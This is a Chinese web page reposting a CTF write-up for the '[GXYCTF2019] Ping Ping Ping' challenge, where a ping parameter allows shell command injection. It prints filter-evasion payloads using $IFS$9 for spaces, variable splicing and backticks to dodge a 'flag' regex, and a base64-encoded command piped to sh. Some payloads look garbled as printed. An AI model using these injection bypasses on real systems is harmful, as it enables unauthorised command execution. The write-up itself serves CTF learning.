新闻详情

新闻详情

首页 / 资讯中心 / 详情

[GXYCTF2019]Ping Ping Ping_CTF2

发布时间:2026/10/2 12:39:32来源:尧图网络
[GXYCTF2019]Ping Ping Ping_CTF2
靶场环境http://3b54c8397c63211ff166a08e.http-ctf2.dasctf.com/题型分析命令执行 RCE参数ip后台执行ping -c 4 $ip过滤清单空格直接空格输出fxck your space!字符串bash正则/.*f.*l.*a.*g.*/只要同时出现 f l a g 四个字母就拦截fxck your flag!过滤部分特殊符号 / ? * \ ( ) [ ] { }可用分隔符;分号执行多条命令空格替代$IFS$9$9是空参数截断 IFS 变量解题过程1.列出当前目录文件/?ip127.0.0.1;ls$IFS$9访问后可以看到两个文件index.php、flag.php2.读取 index.php 看过滤源码/?ip127.0.0.1;cat$IFS$9index.php页面会输出 PHP 源代码看到上面的过滤规则。3.三种拿到 flag 的 payload方案① :变量拼接绕过 flag 正则把flag拆成变量拼接输入字符串不会同时出现 f l a g绕过正则检测。Pyload: /?ip127.0.0.1;ag;cat$IFS$9fla$a.php解析ag执行cat fla$a.php→cat flag.phpflag 是写在 php 文件的变量中页面上看不到需要【查看网页源代码 CtrlU】才能看见 flag 字符串方案②: 反引号内联执行ls结果当做 cat 参数Pyload: /?ip127.0.0.1;cat$IFS$9lsls执行输出index.php flag.php等价执行cat index.php flag.php两个文件全部打印看源码拿 flag。方案③: base64 编码绕过不出现 flag 字符串Payload: /?ip127.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhw|base64$IFS$9-d|sh重要提醒访问后右键查看网页源代码CtrlUflag 藏在源码里网页渲染页面看不见
网站建设高端定制企业官网
RELATED

相关资讯

更多精彩内容,欢迎继续阅读

较早相关资讯

最新相关资讯

反转链表:机试高频题的迭代与递归解法全拆解 2026/10/2 14:15:56

反转链表:机试高频题的迭代与递归解法全拆解

1. 这道题为什么是机试的“钉子户” 做了几年面试官,也刷过几百道题,我越来越能理解为什么“反转链表”能成为机试环节的钉子户。它不像动态规划那样需要敏锐的模型抽象能力,也不像红黑树那样考验庞大的知识储备,但它恰好卡在“基…

阅读更多 →
前后端分离科研管理系统实战:SpringBoot+Vue+MyBatis全栈设计与部署 2026/10/2 14:15:56

前后端分离科研管理系统实战:SpringBoot+Vue+MyBatis全栈设计与部署

前后端分离这套东西,这几年基本成了JavaWeb项目的标配。手头上刚好有一套完整的科研管理系统,SpringBoot Vue MyBatis MySQL,前后端完全拆开,源码和部署文档都齐整。写这篇东西不是给你贴代码,而是把这套系统的设计…

阅读更多 →
jQuery画半圆是伪命题?CSS与SVG实现半圆进度条完整指南 2026/10/2 14:15:56

jQuery画半圆是伪命题?CSS与SVG实现半圆进度条完整指南

上个月给一个老后台系统加模块,需求很简单:首页要放一个半圆形的完成率仪表盘,数据从接口拉,刷新要顺滑。我习惯性地先搜了一圈jQuery插件,结果不是体积太大,就是样式死活套不进现有设计,最后只…

阅读更多 →
从B3616模板题到消息队列:手写队列、循环队列与STL实现全解析 2026/10/2 14:15:49

从B3616模板题到消息队列:手写队列、循环队列与STL实现全解析

B3616 这道题,在题库里的编号平平无奇,题面也短得可怜:维护一个队列,支持入队、出队,仅此而已。但我一直觉得,它是很多人真正意义上的第一道数据结构题——同时也是很多人不屑一顾、随手交个 STL 上去就完事…

阅读更多 →
SpringBoot实战:策略模式+自动装配优雅消灭if-else 2026/10/2 14:15:49

SpringBoot实战:策略模式+自动装配优雅消灭if-else

很多后台项目最后都会长成这个样子:一个 Controller 里摆着十来个 if-else,每种支付渠道、通知渠道或者业务类型都单独调一个 service,看起来“业务逻辑清晰”,实际上每加一种渠道就得把老代码翻个底朝天,改完还得担心…

阅读更多 →
Spring Boot文件下载实战:断点续传、中文乱码与大文件处理全攻略 2026/10/2 14:15:49

Spring Boot文件下载实战:断点续传、中文乱码与大文件处理全攻略

做后端接口这么多年&#xff0c;文件下载算是我见过坑最多的功能之一。很多人以为就是return new ResponseEntity<>(bytes, headers, HttpStatus.OK)的事&#xff0c;结果一上线就翻车&#xff1a;中文文件名乱码、大文件内存溢出、断点续传失效、浏览器直接白屏……每一…

阅读更多 →

今日资讯

本周资讯

本月资讯

看完文章仍有疑问?

联系尧图顾问,获取一对一建站咨询

立即免费咨询 📞 400-888-8888
📞 ✉